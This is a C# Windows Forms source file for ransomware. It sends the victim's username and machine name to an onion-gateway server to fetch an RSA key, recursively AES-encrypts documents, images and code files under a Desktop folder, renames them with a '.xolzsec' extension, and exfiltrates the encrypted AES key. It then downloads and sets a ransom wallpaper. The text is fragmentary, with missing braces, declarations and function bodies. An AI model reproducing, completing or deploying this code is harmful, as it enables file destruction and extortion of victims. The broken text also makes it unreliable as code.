using System.Collections.Generic;
using System.ComponentModel;
using System.Collections.Specialized;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
public partial class Form1 : Form
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern Int32 SystemParametersInfo(UInt32 action, UInt32 uParam, String vParam, UInt32 winIni);
private static bool OAEP = false;
const int keySize = 2048;
string encryptedPassword;
string userName = Environment.UserName;
string computerName = System.Environment.MachineName.ToString();
string userDir = "C:\\Users\\";
string generatorUrl = "http://rswvnxg655ryxfk7.onion.cab/x0lzs3c/createkeys.php";
string keySaveUrl = "http://rswvnxg655ryxfk7.onion.cab/x0lzs3c/savekey.php";
string backgroundImageUrl = "http://i.imgur.com/UazkYGX.jpg";
#pragma warning disable CS1513
#pragma warning disable CS1043
#pragma warning disable CS1513
public string UserDir { get { userDir; } set { userDir = value; }
#pragma warning restore CS1513
#pragma warning restore CS1043
#pragma warning restore CS1513
private void Form1_Load(object sender, EventArgs e)
this.ShowInTaskbar = false;
private void Form_Shown(object sender, EventArgs e)
public string getPublicKey(string url)
WebClient webClient = new WebClient();
NameValueCollection formData = new NameValueCollection();
formData["username"] = userName;
formData["pcname"] = computerName;
byte[] responseBytes = webClient.UploadValues(url, "POST", formData);
string responsefromserver = Encoding.UTF8.GetString(responseBytes);
return responsefromserver;
public void sendKey(string url)
WebClient webClient = new WebClient();
NameValueCollection formData = new NameValueCollection();
formData["pcname"] = computerName;
formData["aesencrypted"] = encryptedPassword;
byte[] responseBytes = webClient.UploadValues(url, "POST", formData);
string responsefromserver = Encoding.UTF8.GetString(responseBytes);
public void startAction()
string path = "\\Desktop\\test";
string startPath = UserDir + userName + path;
publicKey = getPublicKey(generatorUrl);
string aesPassword = CreatePassword(32);
encryptDirectory(startPath,aesPassword);
encryptedPassword = EncryptTextRSA(aesPassword, keySize, publicKey);
encryptedPassword = null;
string backgroundImageName = UserDir + userName + "\\ransom.jpg";
SetWallpaperFromWeb(backgroundImageUrl, backgroundImageName);
System.Windows.Forms.Application.Exit();
public void EncryptFile(string file, string password)
byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
passwordBytes = SHA512.Create().ComputeHash(passwordBytes);
byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
File.WriteAllBytes(file, bytesEncrypted);
System.IO.File.Move(file, file + ".xolzsec");
public void encryptDirectory(string location, string password)
var validExtensions = new[]
".txt", ".doc", ".docx", ".xls", ".xlsx", ".c" , ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
string[] files = Directory.GetFiles(location);
string[] childDirectories = Directory.GetDirectories(location);
for (int i = 0; i < files.Length; i++)
string extension = Path.GetExtension(files[i]);
if (validExtensions.Contains(extension))
EncryptFile(files[i], password);
for (int i = 0; i < childDirectories.Length; i++)
encryptDirectory(childDirectories[i], password);
public static string EncryptTextRSA(string text, int keySize, string publicKeyXml)
var encrypted = RSAEncrypt(Encoding.UTF8.GetBytes(text), keySize, publicKeyXml);
return Convert.ToBase64String(encrypted);
public static byte[] RSAEncrypt(byte[] data, int keySize, string publicKeyXml)
using (var provider = new RSACryptoServiceProvider(keySize))
provider.FromXmlString(publicKeyXml);
return provider.Encrypt(data, OAEP);
public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
byte[] encryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
using (RijndaelManaged AES = new RijndaelManaged())
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
encryptedBytes = ms.ToArray();
public static int GetInt(RNGCryptoServiceProvider rnd, int max)
value = BitConverter.ToInt32(r, 0) & Int32.MaxValue;
} while (value >= max * (Int32.MaxValue / max));
public static string CreatePassword(int length)
const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*/&%!=";
StringBuilder res = new StringBuilder();
using (RNGCryptoServiceProvider rnd = new RNGCryptoServiceProvider())
res.Append(valid[GetInt(rnd, valid.Length)]);
public void SetWallpaper(String path)
SystemParametersInfo(0x14, 0, path, 0x01 | 0x02);
private void SetWallpaperFromWeb(string url, string path)
WebClient webClient = new WebClient();
webClient.DownloadFile(new Uri(url), path);